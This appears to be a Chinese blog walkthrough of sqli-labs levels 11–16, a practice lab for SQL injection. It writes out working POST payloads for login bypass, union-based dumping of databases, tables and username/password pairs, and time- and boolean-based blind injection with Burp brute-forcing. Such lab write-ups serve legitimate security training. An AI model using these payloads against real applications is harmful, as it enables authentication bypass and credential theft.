sqli-labs(11-16关)

MySQL查询语句:

  查库:select schema_name from information_schema.schemata;

  查表:select table_name from information_schema.tables where table_schema='security';(以security表为例)

  查列:select column_name from information_schema.columns where table_name='users';

  查字段:select username,password from security.users;

第十一关(Less-11):单引号注入

  1.首先输入用户名和密码均为admin进行登录,显示登录成功和相关的sql语句以及登录名和密码,如图所示

  2.打开Burp Loader进行抓包分析,打开代理,重新登录,进行抓包

  3.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行

  4.执行之后,显示成功。

  5.将uname=admin&passwd=admin&submit=Submit修改为uname=admin'&passwd=admin&submit=Submit,再次执行,如图出现语法错误,说明存在注入漏洞

  6.将 uname=admin'&passwd=admin&submit=Submit更改为uname='&passwd=admin&submit=Submit,再次执行,如图还是存在错误,存在注入漏洞

  7. 将uname='&passwd=admin&submit=Submit更改为uname=admin' or 1=1#&passwd=admin&submit=Submit,登录成功,验证存在注入漏洞(#为注释符,不可用--+)

  8.输入uname=n'or 1=1#&passwd=admin&submit=Submit,执行显示成功,则构造出初始语法为这样儿

  9.使用order by猜解列数,输入uname=n'order by 3#&passwd=admin&submit=Submit,显示错误

  10.将3改为2,无错误,说明有两列

  11.使用联合查询语句union select,得出回显位置1和2

  12.爆破库,输入uname=n'union select 1,schema_name from information_schema.schemata limit 0,1#&passwd=admin&submit=Submit,得到数据库information_schema

  13.将limit0,1改为limit1,1即可得到第二个数据库,后面的以此类推

  14.输入uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit,爆破出所有库

  15.以security库为例,爆破表、列、字段。输入uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit,爆破出security库中的所有表信息

  16.输入uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit,爆破出users表中的所有列信息

  17.输入uname=n'union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit,爆破出username字段的所有信息

  18.输入uname=n'union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users#&passwd=admin&submit=Submit一次性爆破出username,password字段的信息

第十二关(Less-12):双引号注入

  1.同Less-11相同的方法进行抓包,拿到数据

  2.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行,登陆成功,显示用户名和密码

  3.查询其是否存在注入漏洞,输入uname=admin'or 1=1#&passwd=admin&submit=Submit,显示登录失败,但是无其他报错信息,存在注入漏洞

  4.将单引号更改为双引号,uname=admin" or 1=1#&passwd=admin&submit=Submit,登陆失败,出现报错信息

  5.输入uname=admin") or1=1#&passwd=admin&submit=Submit,登陆成功,说明构造的初始语法如此

  6.其余爆破库、表、列 、字段的操作均与Less-11相同

第十三关(Less-13):

  1.输入username和password进行提交,返回信息表示登录成功

  2.像Less-11和Less-12一样抓包获取Post的内容uname=admin&passwd=admin&submit=Submit,执行,显示登陆成功

  3.将admin改为ain再次登录,显示登录失败

  4.将Post内容uname=ain&passwd=admin&submit=Submit修改为uname=ain' or 1=1#&passwd=admin&submit=Submit并使用or语句进行构造。提示失败并出现报错,说明存在注入漏洞。

  5.将构造的Post内容进行修改,改为uname=ain') or 1=1#&passwd=admin&submit=Submit,执行。返回成功登录。

  6.此时我们使用union select进行回显位置的查找,输入uname=ain') or union select 1,2#&passwd=admin&submit=Submit。返回结果为失败

  7.在这里我们使用盲注。使用if语句,进行逐步猜测数据库名称的长度。首先输入uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit。立刻回显正常。说明此时数据库的长度大于1成立。将大于1改为大于10,则会休眠5s。

  8.我们当前的实验是以security库为例,此库的长度为8(已知)。输入uname=ain') or if(length(database())>=8,1,sleep(5))#&passwd=admin&submit=Submit。返回成功并且返回速度很快。故最终猜解到当前数据库字符长度为8。

  9.接下来判断当前数据库的第一个字母,使用left函数,与if函数的用法类似。输入uname=ain') or left(database(),1)>'a'#&passwd=admin&submit=Submit。判断当前数据库的首字母是否比a大,若大,则返回1。返回结果成功,说明首字母比a大。

  10.将database()进行替换,换为select schema_name from information_schema.schemata limit 0,1进行一位一位的查询。返回成功。则可以通过这样的方法查询出数据库中的所有信息,也可以通过这样的方法查询出表,列,字段信息。

  11.使用BurpLoader进行破解库、表、列、字段。使用大于a显示成功,小于或者等于a均为失败。

  12.打开代理,进行重新发送。抓包。将抓到的包发送至暴力破解模块。在暴力破解模块清楚当前的关键字。

  13.将a设置为关键字,添加美元符号。然后选择payloads,改为暴力破解模式,设置Payloads和Options(可以将线程设置为10)。然后开始暴力破解。

   

  14.根据长度判断第一位的字母。发现i字母的长度与其他长度不同,查看返回结果可知i时返回成功。故猜解到第一位是i

  15.进行第二位的猜解。与第一位的爆破猜解方法相同。

  16.发现n的长度与其他长度不同。返回数据中也出现成功的图片。故猜解第二位是n。其余位猜解方法相同。

第十四关(Less-14):

  1.根据提示输入username和password,点击提交。返回成功,但没有回显信息。与Less-13对比可知,不同的地方是Less-13使用的是单引号,而Less-14使用的是双引号。

  2.与Less-13的方法相同进行抓包得到post数据uname=admin&passwd=admin&submit=Submit,登录会显示登录成功

  3.对语法进行构造。根据与Less-13的不同之处进行构造,得出uname=admin" or 1=1#&passwd=admin&submit=Submit,此时返回成功

  4.使用length语句进行长度的猜解(已知当前数据库的字符长度为8)。输入uname=admin" or length(database())='8'#&passwd=admin&submit=Submit.显示成功

  5.使用left函数进行首字母的猜解判断。uname=ain" or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit。返回成功。

  6.改为等于a,返回失败。说明首字母大于a

  7.接下来跟Less-13的内容相同,可以使用left函数进行一个一个的猜解,也可以使用BurpLoader进行每一位的猜解。

第十五关(Less-15):

  1.根据提示输入username和password,点击提交。显示登陆成功,但没有回显值。

  2.与Less-13和Less-14进行比较得出,Less-15是用单引号

  3.用与Less-13和Less-14相同的方法得到post数据,进行猜想构造,得出uname=admin&passwd=a' or 1=1#&submit=Submit。显示登陆成功

  4.接下来,采用与Less-13和Less-14相同的方法进行盲注猜解。此处省略,可参考Less-13和Less-14。

第十六关(Less-16): 

  1.根据提示输入username和password。显示成功。

  2.与Less-13、Lss-14和Less-15操作相同。得到post内的数据。uname=admin&passwd=admin&submit=Submit。显示成功。

  3.Less-16与Less-13、Less-14和Less-15不同的是,使用双引号括号包裹数据。则同样采用布尔盲注进行猜解。与Less-13、Less-14和Less-15操作相同。

 

posted @ 2020-02-11 16:30  mxm$  阅读(1022)  评论(0编辑  收藏  举报